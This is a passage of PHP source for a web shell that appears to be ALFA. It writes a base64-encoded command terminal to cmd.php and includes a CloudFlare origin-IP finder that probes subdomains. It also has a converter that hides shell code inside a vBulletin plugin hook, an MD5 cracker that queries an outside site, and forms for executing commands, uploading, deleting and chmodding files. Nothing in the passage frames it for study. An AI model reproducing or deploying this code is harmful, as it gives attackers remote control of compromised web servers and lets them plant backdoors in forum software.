3JvbGxIZWlnaHQ7Jyk7DQogZXhpdDsNCn0NCmVjaG8oJzxzdHlsZT5ib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6IDEycHg7fTwvc3R5bGU+PHNjcmlwdD4nKTsgPz4NCndpbmRvdy5vbmxvYWQgPSBzZXR0aGVzaXplOw0Kd2luZG93Lm9ucmVzaXplID0gc2V0dGhlc2l6ZTsNCndpbmRvdy51cGRpciA9IDA7DQp3aW5kb3cuY29tbWFuZHMgPSBuZXcgQXJyYXkoKTsNCndpbmRvdy5sb2dnZWR1c2VyID0gIjw/cGhwDQokY21kID0gc2hlbGxfZXhlYzIoIndob2FtaSIsIE5VTEwpOw0KaWYgKHN0cnBvcygkY21kLCAibm90IGZvdW5kIik9PT1GQUxTRSkNCnsNCiBlY2hvKHN1YnN0cigkY21kLCAwLCBzdHJsZW4oJGNtZCktMSkpOyANCn0NCj8+IjsNCndpbmRvdy5jd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0KIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0Kd2luZG93LmhvbWVjd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0KIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0KZnVuY3Rpb24gc2V0dGhlc2l6ZSgpDQp7DQogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zdHlsZS5oZWlnaHQ9KHdpbmRvdy5pbm5lckhlaWdodC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnN0eWxlLndpZHRoPSh3aW5kb3cuaW5uZXJXaWR0aC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNlbGVjdGlvblN0YXJ0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2VsZWN0aW9uRW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIGFwcGVuZGRpcmVjdG9yeShzdHIpDQp7DQogaWYgKHN0ci5zdWJzdHIoMCwgMSk9PSIvIikNCiB3aW5kb3cuY3dkID0gc3RyOw0KIGVsc2UNCiB7DQogIHZhciBjID0gd2luZG93LmN3ZCsiLyIrc3RyOw0KICB2YXIgcmVhbCA9IG5ldyBBcnJheSgpOw0KICBjID0gYy5zcGxpdCgiLyIpOyB2YXIgaTsNCiAgZm9yKGk9MDtpPGMubGVuZ3RoO2krKykNCiAgew0KICAgaWYgKChjW2ldID09ICIuLiIpICYmIHJlYWwubGVuZ3RoPjApDQogICB7DQogICAgcmVhbC5zcGxpY2UocmVhbC5sZW5ndGgtMSwgMSk7DQogICB9DQogICBlbHNlIGlmICgoY1tpXSAhPSAiLiIpICYmIChjW2ldICE9ICIiKSkNCiAgIHJlYWwucHVzaChjW2ldKTsNCiAgfQ0KICB3aW5kb3cuY3dkID0gIi8iK3JlYWwuam9pbigiLyIpOw0KIH0NCn0NCmZ1bmN0aW9uIHdyaXRlbGFzdGxpbmUoc3RyKQ0Kew0KIHZhciBjYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKSwgaTsNCiBjYWxsW2NhbGwubGVuZ3RoLTFdID0gc3RyOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgPSBjYWxsLmpvaW4oIlxuIik7DQp9DQpmdW5jdGlvbiBjbWR1cChlKQ0Kew0KIGlmICh3aW5kb3cuY29tbWFuZHMubGVuZ3RoPih3aW5kb3cudXBkaXIpKQ0KIHsNCiAgd2luZG93LnVwZGlyKys7DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24pDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gY21kb3duKGUpDQp7DQogaWYgKHdpbmRvdy51cGRpcj4xKQ0KIHsNCiAgd2luZG93LnVwZGlyLS07DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24pDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gcG9zdEFzeW5jaHJvbm91c0FqYXgodXJsLCB2YWx1ZXMpDQp7DQogdmFyIHhtbGh0dHA7DQogaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCiB7DQogIHhtbGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCkNCiAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogIHhtbGh0dHAuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICB4bWxodHRwLnNlbmQodmFsdWVzKTsNCiAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICB7DQogICBpZiAoeG1saHR0cC5yZWFkeVN0YXRlPT00KQ0KICAgew0KICAgIGlmICh4bWxodHRwLnN0YXR1cz09MjAwKQ0KICAgIHsNCiAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQ0KIHsNCiAgeG1saHR0cD1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKQ0KICBpZiAoeG1saHR0cCkNCiAgew0KICAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogICB4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgIHhtbGh0dHAuc2VuZCh2YWx1ZXMpOw0KICAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICAgew0KICAgIGlmICh4bWxodHRwLnJlYWR5U3RhdGU9PTQpDQogICAgew0KICAgICBpZiAoeG1saHR0cC5zdGF0dXM9PTIwMCkNCiAgICAgew0KICAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQp9DQpmdW5jdGlvbiB1cmxlbmNvZGUgKHN0cikNCnsNCiByZXR1cm4gZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFjZSgvIS9nLCAnJTIxJykucmVwbGFjZSgvJy9nLCAnJTI3JykucmVwbGFjZSgvXCgvZywgJyUyOCcpLg0KIHJlcGxhY2UoL1wpL2csICclMjknKS5yZXBsYWNlKC9cKi9nLCAnJTJBJykucmVwbGFjZSgvJTIwL2csICcrJyk7DQp9DQpmdW5jdGlvbiBuZXdjbWQoKQ0Kew0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlsiK3dpbmRvdy5sb2dnZWR1c2VyKyJAPD9waHAgZWNobygkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyA/PiAiKygod2luZG93LmN3ZD09Ii8iKT8oIi8iKTood2luZG93LmN3ZC5zcGxpdCgiLyIpW3dpbmRvdy5jd2Quc3BsaXQoIi8iKS5sZW5ndGgtMV0pKSsiXSMgIjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGV4ZWMoZSkNCnsNCiB3aW5kb3cudXBkaXI9MDsNCiB2YXIgYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKTsNCiBpZiAoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpPT0iY2xlYXIiKQ0KIHsNCiAgd2luZG93LmNvbW1hbmRzID0gbmV3IEFycmF5KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWU9IiI7DQogIG5ld2NtZCgpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGVsc2UgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cigyLCAyKT09ImNkIikNCiB7DQogIGUucHJldmVudERlZmF1bHQoKTsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cig1KT09In4iKQ0KICB7DQogICB3aW5kb3cuY3dkID0gd2luZG93LmhvbWVjd2Q7DQogICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlICs9ICJcbiI7ICBuZXdjbWQoKTsNCiAgfQ0KICBlbHNlDQogIHsNCiAgIGFwcGVuZGRpcmVjdG9yeShhbGxbYWxsLmxlbmd0aC0xXS5zdWJzdHIoYWxsW2FsbC5sZW5ndGgtMV0uaW5kZXhPZigiIyIpKS5zdWJzdHIoNSkpOw0KICAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAidmVyaWZ5PSIrdXJsZW5jb2RlKHdpbmRvdy5jd2QpKTsNCiAgfQ0KIH0NCiBlbHNlDQogew0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuIjsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAianhjbWQ9Iit1cmxlbmNvZGUoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKSsiJmN3ZD0iK3dpbmRvdy5jd2QpOw0KIH0NCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGJzcChlKQ0Kew0KIHZhciBhbGwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlLnNwbGl0KCJcbiIpOw0KIGlmIChhbGxbYWxsLmxlbmd0aC0xXS5sZW5ndGg9PShhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikrMikpDQogZS5wcmV2ZW50RGVmYXVsdCgpOw0KfQ0KPD9waHAgZWNobygnZnVuY3Rpb24gcGFyc2VrZXkoZSwgdGhzKXtpZiAoZS5rZXlDb2RlPT0xMyl7ZXhlYyhlKTt9ZWxzZSBpZihlLmtleUNvZGU9PTM4KXtjbWR1cChlKTtyZXR1cm4gZmFsc2U7fWVsc2UgaWYoZS5rZXlDb2RlPT00MCl7Y21kb3duKGUpO3JldHVybiBmYWxzZTt9ZWxzZSBpZihlLmtleUNvZGU9PTgpe2JzcChlKTt9fTwvc2NyaXB0Pjx0ZXh0YXJlYSByb3dzPTcgY29scz0xMzAgaWQ9ImNvbW1hbmQiIG9ua2V5cHJlc3M9InBhcnNla2V5KGV2ZW50LCB0aGlzKTsiPjwvdGV4dGFyZWE+PGJyPicpOz8+DQo8c2NyaXB0Pg0KbmV3Y21kKCk7DQo8L3NjcmlwdD4NCg==';
771$decode = base64_decode($code);
772$sole = fopen('cmd.php','w+');
773$sole2 = fwrite ($sole ,$decode);
774fclose($sole);
775echo '<iframe src=cmd.php width=100% height=600px frameborder=0></iframe> ';
776echo '</div>';
777alfafooter();
778}
779function alfacloudflare(){
780alfahead();
781echo"<script>alfa1_=alfa2_=\"\"</script>
782<div class=header><center>
783<b><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Cloud </font> <font color=\"#FFFFFF\">Flare</font> <font color=\"#FF0000\">ByPasser</font><font color=\"#FFFF01\"> ==</font></b>
784<form action='' onsubmit=\"g('cloudflare',null,this.url.value,this.go.value); return false;\" method='post'>
785<p><br><input type='text' size=30 name='url' placeholder=\"site.com\"><br/><br/>
786<input type='submit' name='go' value='>>' />
787</p>
788</form></center>";
789if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
790function is_ipv4($ip)
791{
792return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
793}
794function getipCloudFlare($url){
795$url = "http://www.cloudflare-watch.org/cgi-bin/cfsearch.cgi";
796$login_data = "cfS=$url";
797$login = curl_init();
798curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
799curl_setopt($login, CURLOPT_TIMEOUT, 40);
800curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
801curl_setopt($login, CURLOPT_URL, $url);
802curl_setopt($login, CURLOPT_HEADER, 1);
803curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
804curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
805curl_setopt($login, CURLOPT_POST, 1);
806curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
807$content= curl_exec($login);
808if (preg_match("/<UL><LI>(.*?)<\/UL>/",$content,$find)){
809// if (preg_match("/<UL><LI>(.*?): $url (.*?) (.*?)<\/UL>/s",$content,$find)){
810return $find[1];
811}
812else {
813return 'Error';
814}
815curl_close($login);
816}
817$me = $argv[0];
818$url = $_POST['alfa1'];
819if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
820$url = preg_replace('/^(https?):\/\//', '', $url);
821$url = "http://www.".$url;
822}
823$headers = get_headers($url, 1);
824$server = $headers['Server'];
825$subs = array('cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns1.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.');
826$count = count($subs);
827if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches))
828{
829if($matches[2] != 'www')
830{
831$url = preg_replace('/^(https?):\/\//', '', $url);
832}
833else
834{
835$url = explode($matches[0], $url);
836$url = $url[1];
837}
838}
839if(is_array($server))
840$server = $server[0];
841echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/>';
842if(preg_match('/cloudflare/i', $server))
843echo "\n[+] CloudFlare detected: {$server}\n<br>";
844else
845echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
846echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
847echo "[+] Searching for more IP addresses.\n\n<br><br>";
848for($x = 0; $x < $count; $x++)
849{
850$site = $subs[$x] . $url;
851$ip = is_ipv4(gethostbyname($site));
852if($ip == '(Null)')
853continue;
854echo "Trying {$site}: {$ip}\n<br>";
855}
856// echo getipCloudFlare($url)."<br>";
857echo "\n[+] Finished.\n<br>";
858}
859echo '</div>';
860alfafooter();
861}
862function alfaphp2xml(){
863alfahead();
864echo"<script>alfa1_=alfa2_=\"\"</script>
865<div class=header><center>
866<b><b><br><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Shell</font> <font color=\"#FFFFFF\">For</font> <font color=\"#FF0000\">vBulletin</font><font color=\"#FFFF01\"> ==</font></b>
867<form action='' onsubmit=\"g('php2xml',null,this.code.value,this.go.value); return false;\" method='post'>
868<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
869<input type='submit' name='go' value='Convert' /> <input type='reset' value='Clear' name='B2'><br/><br/>
870</p>
871</form></center>";
872if($_POST['alfa2'] && $_POST['alfa2'] == 'Convert' ) {
873if ( get_magic_quotes_gpc() ){
874$code=stripslashes($_POST['alfa1']);
875}
876else{
877$code=$_POST['alfa1'];
878}
879$code = 'base64_decode('.$code.')';
880$sole = 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pg0KDQo8cGx1Z2lucz4NCgk8cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj4NCgkJPHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+DQoJCTxob29rbmFtZT5pbml0X3N0YXJ0dXA8L2hvb2tuYW1lPg0KCQk8cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCJzdWJzY3JpcHRpb25zLnBocCIpKSB7';
881$invis = 'ZXhpdDsNCn1dXT48L3BocGNvZGU+DQoJPC9wbHVnaW4+DQo8L3BsdWdpbnM+';
882echo"<pre id=\"strOutput\" style=\"margin-top:8px\" class=\"ml1\"><br/><center><textarea rows='10' name='users' cols='80' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
883echo base64_decode("$sole").'base64_decode(\''.base64_encode($code).'\');'.base64_decode("$invis");
884echo '</textarea></center><br>';
885}
886echo '</center></div>';
887alfafooter();
888}
889function alfacpcrack()
890{
891alfahead();
892echo '<div class=header>';
893function cracker($pass){
894$url = "http://md5online.org";
895$login_data = "md5=$pass&search=0&action=decrypt&a=63443026";
896$login = curl_init();
897curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
898curl_setopt($login, CURLOPT_TIMEOUT, 40);
899curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
900curl_setopt($login, CURLOPT_URL, $url);
901curl_setopt($login, CURLOPT_HEADER, 1);
902curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
903curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
904curl_setopt($login, CURLOPT_POST, 1);
905curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
906$content= curl_exec($login);
907if (preg_match("/<span style='color:limegreen'>Found : <b>(.*?)<\/b><\/span>/s",$content,$find)){
908return '<table border="1"><td>'.'<font color=white></font>'.' <font color=white>Found : </font><b><font color=lightgreen>'.$find[1].'</font></b></td></table><br>';
909}
910else {
911return '<table border="1"><td>'.'<font color=white>[+]</font>'.' <font color=white>No result found -></font> '.'<b><font color=red>'.$pass .'</font></b></td></table><br>';
912}
913curl_close($login);
914}
915echo '<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
916<form onsubmit="g(\'cpcrack\',null,this.md5.value,this.go.value); return false;" method="post" action="" />
917<input type="text" placeholder="Hash" name="md5" size="40" id="text" />
918<input type="submit" value=">>" name="go" />
919</form></center>
920';
921if($_POST['alfa2'] == '>>'){
922$hash = $_POST['alfa1'];
923$res = cracker($hash);
924echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center>'.$res.'</center>';
925}
926echo '</div>';
927alfafooter();
928}
929function alfafooter()
930{
931echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
932<tr>
933<td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span><font color=#27979B>Make File : </font></span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
934<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span><font color=#27979B>Make Dir : </font></span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
935<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span><font color=#27979B>Delete : </font></span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
936<td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span><font color=#27979B>Chmod : </font></span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
937</tr>
938<tr>
939<td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir : </font></span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
940<td colspan='2'><form method='post' ><span><font color=#27979B>Http Download : </font></span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
941</tr>
942<tr>
943<td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span><font color=#27979B>Execute : </font></span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
944</tr>
945<tr>
946<td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
947<input type=hidden name=a value='FilesMAn'>
948<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
949<input type=hidden name=alfa1 value='uploadFile'>
950<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
951<span><font color=#27979B>Upload file:</font></span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
952</tr>
953</table>
954</div>
955</body>
956</html>
957";
958}
959if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
960function posix_getpwuid($p) {return false;} }
961if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
962function posix_getgrgid($p) {return false;} }
963function alfaWhich($p) {
964$path = alfaEx('which ' . $p);
965if(!empty($path))
966return $path;
967return false;
968}
969function alfaSize($s) {
970if($s >= 1073741824)
971return sprintf('%1.2f', $s / 1073741824 ). ' GB';
972elseif($s >= 1048576)
973return sprintf('%1.2f', $s / 1048576 ) . ' MB';
974elseif($s >= 1024)
975return sprintf('%1.2f', $s / 1024 ) . ' KB';
976else
977return $s . ' B';
978}
979function alfaPerms($p) {
980if (($p & 0xC000) == 0xC000)$i = 's';
981elseif (($p & 0xA000) == 0xA000)$i = 'l';
982elseif (($p & 0x8000) == 0x8000)$i = '-';
983elseif (($p & 0x6000) == 0x6000)$i = 'b';
984elseif (($p & 0x4000) == 0x4000)$i = 'd';
985elseif (($p & 0x2000) == 0x2000)$i = 'c';
986elseif (($p & 0x1000) == 0x1000)$i = 'p';
987else $i = 'u';
988$i .= (($p & 0x0100) ? 'r' : '-');
989$i .= (($p & 0x0080) ? 'w' : '-');
990$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
991$i .= (($p & 0x0020) ? 'r' : '-');
992$i .= (($p & 0x0010) ? 'w' : '-');
993$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
994$i .= (($p & 0x0004) ? 'r' : '-');
995$i .= (($p & 0x0002) ? 'w' : '-');
996$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
997return $i;
998}
999function alfaPermsColor($f) {
1000if (!@is_readable($f))
1001return '<font color=#FF0000>' . alfaPerms(@fileperms($f)) . '</font>';
1002elseif (!@is_writable($f))
1003return '<font color=white>' . alfaPerms(@fileperms($f)) . '</font>';
1004else
1005return '<font color=#25ff00>' . alfaPerms(@fileperms($f)) . '</font>';
1006}
1007if(!function_exists("scandir")) {
1008function scandir($dir) {
1009$dh = opendir($dir);
1010while (false !== ($filename = readdir($dh)))
1011$files[] = $filename;
1012return $files;
1013}
1014}
1015function alfaFilesMan() {
1016alfahead();
1017echo '<div class=header><script>alfa1_=alfa2_=alfa3_="";</script>';
1018if(!empty($_POST['alfa1'])) {
1019switch($_POST['alfa1']) {
1020case 'uploadFile':
1021if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1022echo "<b><font color=\"#FFFFFF\">Can't upload file<b></font>";
1023break;
1024case 'mkdir':
1025if(!@mkdir($_POST['alfa2']))
1026echo "<b><font color=\"#FFFFFF\">Can't create new dir<b></font>";
1027break;
1028case 'delete':
1029function deleteDir($path) {
1030$path = (substr($path,-1)=='/') ? $path:$path.'/';
1031$dh = opendir($path);
1032while ( ($item = readdir($dh) ) !== false) {
1033$item = $path.$item;
1034if ( (basename($item) == "..") || (basename($item) == ".") )
1035continue;
1036$type = filetype($item);
1037if ($type == "dir")
1038deleteDir($item);
1039else
1040@unlink($item);
1041}
1042closedir($dh);
1043@rmdir($path);
1044}
1045if(is_dir(@$_POST['alfa2']))
1046deleteDir(@$_POST['alfa2']);
1047else
1048@unlink(@$_POST['alfa2']);
1049break;
1050default:
1051if(!empty($_POST['alfa1'])) {
1052$_SESSION['act'] = @$_POST['alfa1'];
1053$_SESSION['f'] = @$_POST['f'];
1054foreach($_SESSION['f'] as $k => $f)
1055$_SESSION['f'][$k] = urldecode($f);
1056$_SESSION['c'] = @$_POST['c'];
1057}
1058break;
1059}
1060}
1061$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1062if($dirContent === false) { echo '<h3><span>| Access Denied :( |</span></h3></div>';alfaFooter(); return; }
1063global $sort;
1064$sort = array('name', 1);
1065if(!empty($_POST['alfa1'])) {
1066if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
1067$sort = array($match[1], (int)$match[2]);
1068}
1069echo "
1070<table width='100%' class='main' cellspacing='0' cellpadding='2' >
1071<form name=files method=post><tr><th><font color=\"#FFFFFF\"><b>Name</font></b></th><th><font color=\"#FFFFFF\"><b>Size<font></b></th><th><font color=\"#FFFFFF\"><b>Modify</b></font></th><th><font color=\"#FFFFFF\"><b>Owner/Group</font></b></th><th><font color=\"#FFFFFF\"><b>Permissions</font></b></th><th><font color=\"#FFFFFF\"><b>Actions</b></font></th></tr>";
1072$dirs = $files = array();
1073$n = count($dirContent);
1074for($i=0;$i<$n;$i++) {
1075$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1076$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1077$tmp = array('name' => $dirContent[$i],
1078'path' => $GLOBALS['cwd'].$dirContent[$i],
1079'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1080'perms' => alfaPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1081'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1082'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1083'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1084);
1085if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1086$files[] = array_merge($tmp, array('type' => 'file'));
1087elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1088$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
